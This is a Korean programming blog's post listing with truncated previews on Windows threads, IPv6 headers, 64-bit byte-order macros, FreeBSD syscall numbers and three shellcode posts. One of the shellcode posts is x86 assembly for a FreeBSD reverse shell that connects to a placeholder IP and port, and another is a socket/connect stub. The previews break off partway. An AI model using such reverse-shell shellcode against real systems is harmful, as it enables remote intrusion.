본문 바로가기

Research

[ 책 정리 ] Thread - 1 스레드 Windows의 기본 실행 단위.다중 스레드 프로그래밍에서 병렬성의 장점을 극대화하기 위해 스레드 실행의 조직화 / 중재에 신경 써야 한다. 다중 스레드 동작방식에 비해, 단일 스레드 프로세스들을 동시에 실행하는 방식의 단점1. 프로세스 전환 비용2. 공유 메모리를 제외하고는 프로세스들 사이의 결합도가 높지 않다. 열린 파일과 같은 자원을 공유하기 어렵다.3. 병렬이면서 상호작용하는 태스크(하나는 계산 수행, 하나는 입출력) 관리는 어렵고 비효율적이다.4. 멀티코어 PC의 경우 각각의 스레드를 프로세서들에 할당할 수 있으며 대체로 성능 향상에 도움이 된다. 관점"스레드는 프로그램의 설계와 구현을 단순화한다","몇몇 규칙과 모형에 따르면 성능 향상과 신뢰성, 가독성, 유지보수성을 높일 수 있다." .. 더보기
[ Network ] IPv6.h // ndp.h ndp - icmpv6 header 5종ipv6 header 등 /** * @file ipv6.h * @brief IPv6 (Internet Protocol Version 6) * * @section License * * Copyright (C) 2010-2013 Oryx Embedded. All rights reserved. * * This file is part of CycloneTCP Open. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundati.. 더보기
htonl, htohl for 64bit // htonl함수가 기본 int밖에 지원하지 않기 때문에 __int64를 지원하는 함수를 찾기 시작~// htonll에서 나온 값만으로는 정상적으로 동작하는지 알수가 없었음.// htonll사용해 값 변환 후 ntohll을 사용해서 원래의 값이 나오는지 확인하는 것으로 제대로 동작한다고 판단.// 여러개의 함수를 써본 결과 아래의 것이 가장 간단하고 제대로 동작한다고 판단해서 이것으로 사용하기로 정함. #include #include #define htonll(x) \ ((((x) & 0xff00000000000000LL) >> 56) | \ (((x) & 0x00ff000000000000LL) >> 40) | \ (((x) & 0x0000ff0000000000LL) >> 24) | \ (((x) & .. 더보기
[shellcode] FreeBSD x86 Reverse Read shell .globl main main: push %ebp mov %esp, %ebp sub $0x20, %esp xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx push %ecx inc %ecx push %ecx inc %ecx push %ecx mov $0x61, %al push %eax int $0x80 mov %eax, %esi # socketaddr_in push $0xGHEFCDAB # IP LittleEndian pushw $0x3412 # port l.e pushw $0x02AA mov %esp, %ebx # connect mov $0x10, %cl push %ecx push %ebx push %eax mov $0x62, %al push %.. 더보기
[shellcode] FreeBSD x86 Socket/Connect .globl main main: # 초기화 xor %eax, %eax xor %ebx, %ebx xor %ecx, %ecx xor %edx, %edx # socket (PF_INET, SOCK_STREAM, 0) 더보기
FreeBSD Syscall numbers /* * System call numbers. * * DO NOT EDIT-- this file is automatically generated. * $FreeBSD: src/sys/sys/syscall.h,v 1.178.2.5 2006/10/10 13:47:59 rwatson Exp $ * created from FreeBSD: src/sys/kern/syscalls.master,v 1.198.2.5 2006/10/10 13:19:47 rwatson Exp */ #define SYS_syscall 0 #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 #define SYS_close .. 더보기
[shellcode] Linux x86 open, read, write .globl main main: /*=========================================================== 스택 프레임 생성 32글자 hash 인자를 읽기 위해 20바이트 공간 형성 ===========================================================*/ push %ebp mov %esp, %ebp sub $0x20, %esp /*=========================================================== 레지스터 초기화 ===========================================================*/ xor %eax, %eax xor %ebx, %ebx xor %ecx, .. 더보기
GetProcessHandleCount BOOL WINAPI GetProcessHandleCount( _In_ HANDLE hProcess, _Inout_ PDWORD pdwHandleCount ); 프로세스 핸들 갯수를 알려주는 함수 더보기